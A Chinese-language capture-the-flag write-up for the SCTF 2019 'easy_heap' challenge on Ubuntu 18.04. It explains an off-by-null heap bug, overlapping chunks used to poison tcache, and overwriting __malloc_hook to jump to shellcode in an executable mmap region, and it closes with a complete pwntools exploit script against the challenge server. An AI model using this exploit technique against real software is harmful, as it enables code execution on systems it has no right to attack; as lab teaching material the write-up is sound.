这个题目当时比赛的时候靶机据说是ubuntu16.04,但是迁移到buu上就变成了ubuntu18.04,下面针对两个平台给出不同的解法,先写一下18.04下的
先来逆一下,关键点有一下几个
mmap了一个可读可写可执行的内存空间,可以往里面写入shellcode,而且给了我们地址
edit函数里面有off-by-null漏洞
ubuntu18.04
我本来想直接爆破_IO_2_1_stdout_的,但是考虑到18.04下malloc的时候不会检查size,所以程序不会crash掉,当然理论也可以爆破(当p.recvuntil接受不到数据时程序会crash),但是没有去尝试,过几天试一下
现在考虑写入shellcode,然后攻击__malloc_hook
先说一下程序模板
**step 1: allocate mmap to read in shellcode**
add(0x410) add(0x68) add(0x4f0) add(0x68)
free(0x410)
edit(0x68 -> off-by-null)
free(0x4f0)
add(0x410)
add(0x68) # index 2: the same as index 1
free(0x68) # index 3
free(0x68) # idx 1(free) == idx 2(allocate)
free(0x68) # idx 1(free) == idx 2(free)
add(0x68) # index 1(allocate) == 2(free)
add(0x68) # index 2(allocate) == 1(allocate)
add(0x68) # mmap
**step 2: attack __malloc_hook**
add(0x4f0)
free(0x410)
edit(0x68 -> off-by-null)
free(0x68) # index 1(free) == 2(allocate)
free(0x4f0) #注意,这个地方必须先free 0x68,否则此后将无法通过free的检查
edit(2,'x30')
add(0x68) add(0x68)
edit(0x68) to getshell
核心,利用off-by-null构造两个指向同一块chunk的指针
exp:
from pwn import *
'''
author: lemon
time: 2020-10-19
libc: libc-2.27.so
python version: python3
'''
local = 0
binary = "sctf_2019_easy_heap"
libc_path = './libc-2.27.so'
port = "27263"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')
def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size))
def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index:',str(index))
p.sendafter('Content:',content)
def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index:',str(index))
p.recvuntil('0x')
mmap = int(p.recv(10),16)
print("[*] mmap:" + hex(mmap))
add(0x410) #0
p.recvuntil('0x')
heap_addr = int(p.recv(12),16)
print("[*] heap array:",hex(heap_addr))
add(0x68) # 1
add(0x4f0) # 2
add(0x68) # 3
payload = b'A' * 0x60 + p64(0x490)
free(0) # free 0x410
edit(1,payload)
free(2)
add(0x410) # 0 size: 0x410
add(0x68) # 2 size: 0x68 2(allocate) == 1(allocate)
free(3)
free(1)
free(2)
add(0x68) # 1 2(free) == 1(allocate)
edit(1,p64(mmap) + b'
')
add(0x68) # 2 2(allocate) == 1(allocate)
add(0x68) # 3
shellcode = asm(shellcraft.sh())
edit(3,shellcode + b'
')
add(0x4f0) # 4
free(0)
edit(1,payload) # 2(allocate) == 1(allocate)
free(1) # 1(free) == 2(allocate)
free(4)
add(0x410) # 0
edit(2,'x30
')
add(0x68) # 1(allocate) == 2(allocate)
add(0x68) # 4 __malloc_hook
edit(4,p64(mmap) + b'
')
add(0x20) # getshell
# gdb.attach(p)
p.interactive()
过几天再更一下ubuntu16.04下的版本,相对于18.04,16.04利用更简单一些,甚至可以直接爆破_IO_2_1_stdout_